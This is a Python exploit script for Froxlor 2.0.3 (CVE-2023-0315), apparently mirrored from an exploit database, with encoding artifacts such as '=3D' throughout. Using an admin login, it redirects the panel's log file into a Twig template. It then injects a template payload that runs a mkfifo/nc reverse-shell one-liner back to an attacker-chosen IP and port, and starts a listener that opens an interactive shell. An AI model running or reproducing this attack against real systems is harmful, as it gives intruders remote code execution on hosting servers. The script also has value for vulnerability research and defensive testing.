Share
## https://sploitus.com/exploit?id=PACKETSTORM:171729
#!/usr/bin/python3  
  
# Exploit Title: Froxlor 2.0.3 Stable - Remote Code Execution (RCE)  
# Date: 2023-01-08  
# Exploit Author: Askar (@mohammadaskar2)  
# CVE: CVE-2023-0315  
# Vendor Homepage: https://froxlor.org/  
# Version: v2.0.3  
# Tested on: Ubuntu 20.04 / PHP 8.2  
  
import telnetlib  
import requests  
import socket  
import sys  
import warnings  
import random  
import string  
from bs4 import BeautifulSoup  
from urllib.parse import quote  
from threading import Thread  
  
warnings.filterwarnings("ignore", category=3DUserWarning, module=3D'bs4')  
  
  
if len(sys.argv) !=3D 6:  
print("[~] Usage : ./froxlor-rce.py url username password ip port")  
exit()  
  
url =3D sys.argv[1]  
username =3D sys.argv[2]  
password =3D sys.argv[3]  
ip =3D sys.argv[4]  
port =3D sys.argv[5]  
  
request =3D requests.session()  
  
def login():  
login_info =3D {  
"loginname": username,  
"password": password,  
"send": "send",  
"dologin": ""  
}  
login_request =3D request.post(url+"/index.php", login_info, allow_redi=  
rects=3DFalse)  
login_headers =3D login_request.headers  
location_header =3D login_headers["Location"]  
if location_header =3D=3D "admin_index.php":  
return True  
else:  
return False  
  
  
def change_log_path():  
change_log_path_url =3D url + "/admin_settings.php?page=3Doverview&part=  
=3Dlogging"  
csrf_token_req =3D request.get(change_log_path_url)  
csrf_token_req_response =3D csrf_token_req.text  
soup =3D BeautifulSoup(csrf_token_req_response, "lxml")  
csrf_token =3D (soup.find("meta", {"name":"csrf-token"})["content"])  
print("[+] Main CSRF token retrieved %s" % csrf_token)  
  
multipart_data =3D {  
  
"logger_enabled": (None, "0"),  
"logger_enabled": (None, "1"),  
"logger_severity": (None, "2"),  
"logger_logtypes[]": (None, "file"),  
"logger_logfile": (None, "/var/www/html/froxlor/templates/Froxlor/f=  
ooter.html.twig"),  
"logger_log_cron": (None, "0"),  
"csrf_token": (None, csrf_token),  
"page": (None, "overview"),  
"action": (None, ""),  
"send": (None, "send")  
=20  
}  
req =3D request.post(change_log_path_url, files=3Dmultipart_data)  
response =3D req.text  
if "The settings have been successfully saved." in response:  
print("[+] Changed log file path!")  
return True  
else:  
return False  
  
  
def inject_template():  
admin_page_path =3D url + "/admin_index.php"  
csrf_token_req =3D request.get(admin_page_path)  
csrf_token_req_response =3D csrf_token_req.text  
soup =3D BeautifulSoup(csrf_token_req_response, "lxml")  
csrf_token =3D (soup.find("meta", {"name":"csrf-token"})["content"])  
onliner =3D "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {0} =  
{1} >/tmp/f".format(ip, port)  
payload =3D "{{['%s']|filter('exec')}}" % onliner  
data =3D {  
"theme": payload,  
"csrf_token": csrf_token,  
"page": "change_theme",  
"send": "send",  
"dosave": "",  
}  
req =3D request.post(admin_page_path, data, allow_redirects=3DFalse)  
try:  
location_header =3D req.headers["Location"]  
if location_header =3D=3D "admin_index.php":  
print("[+] Injected the payload sucessfully!")  
except:  
print("[-] Can't Inject payload :/")  
exit()  
handler_thread =3D Thread(target=3Dconnection_handler, args=3D(port,))  
handler_thread.start()  
print("[+] Triggering the payload ...")  
req2 =3D request.get(admin_page_path)  
  
  
def connection_handler(port):  
print("[+] Listener started on port %s" % port)  
t =3D telnetlib.Telnet()  
s =3D socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.bind(("0.0.0.0", int(port)))  
s.listen(1)  
conn, addr =3D s.accept()  
print("[+] Connection received from %s" % addr[0])  
t.sock =3D conn  
print("[+] Heads up, incoming shell!!")  
t.interact()  
  
  
  
if login():  
print("[+] Successfully Logged in!")  
index_url =3D url + "/admin_index.php"  
request.get(index_url)  
if change_log_path():  
inject_template()  
  
else:  
print("[-] Can't login")